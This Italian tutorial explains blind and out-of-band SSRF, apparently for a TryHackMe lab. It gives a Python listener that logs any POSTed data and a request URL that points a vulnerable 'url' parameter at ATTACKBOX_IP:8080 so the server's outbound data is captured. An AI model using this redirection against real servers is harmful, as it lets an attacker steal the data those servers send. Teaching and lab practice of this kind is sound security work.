Blind SSRF si riferisce a uno scenario in cui l’aggressore può inviare richieste a un server di destinazione, ma non riceve risposte dirette o feedback sull’esito delle sue richieste. In altre parole, l’aggressore è cieco alle risposte del server. Questo tipo di SSRF può essere più difficile da sfruttare perché l’aggressore non può vedere direttamente i risultati delle sue azioni. Blind SSRF con out-of-band L’SSRF out-of-band è una tecnica in cui l’aggressore sfrutta un canale di comunicazione separato, out-of-band, invece di ricevere direttamente risposte dal server di destinazione per ricevere informazioni o controllare il server sfruttato. Questo approccio è pratico quando le risposte del server non sono direttamente accessibili all’aggressore. Ad esempio, l’aggressore potrebbe manipolare il server vulnerabile per effettuare una richiesta DNS a un dominio di sua proprietà o per avviare una connessione a un server esterno con dati specifici. Questa interazione esterna fornisce all’aggressore la prova che la vulnerabilità SSRF esiste e potenzialmente gli consente di raccogliere informazioni aggiuntive, come indirizzi IP interni o la struttura della rete interna.
Un esempio potrebbe essere il seguente:
Immaginiamo di avere una pagina nella quale vediamo che il server manda dati ad un’altro server e che non è presente nessuna validazione di questi dati. Dato che non c’è nessun controllo un attaccante potrebbe creare un server e reindirizzare i dati che manda invece che al server legittimo ad un server dell’attaccante che gli permette di catturare i dati. Un server da utilizzare per ricevere i dati potrebbe essere il seguente scritto in Python:
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*') # Allow requests from any origin
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
super().end_headers()
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, GET request!')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
self.send_response(200)
self.end_headers()
# Log the POST data to data.html
with open('data.html', 'a') as file:
file.write(post_data + '\n')
response = f'THM, POST request! Received data: {post_data}'
self.wfile.write(response.encode('utf-8'))
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, CustomRequestHandler)
print('Server running on http://localhost:8080/')
httpd.serve_forever()Ora lo eseguiamo:
sudo chmod +x server.py && sudo python3 server.pyOra che abbiamo il nostro server attivo possiamo andare nella macchina vittima e lanciare la richiesta al nostro server, come per esempio:
http://hrms.thm/profile.php?url=http://ATTACKBOX_IP:8080Se tutto va come dovrebbe dovremmo ricevere un file con all’interno i dati che doveva mandare al server legittimo.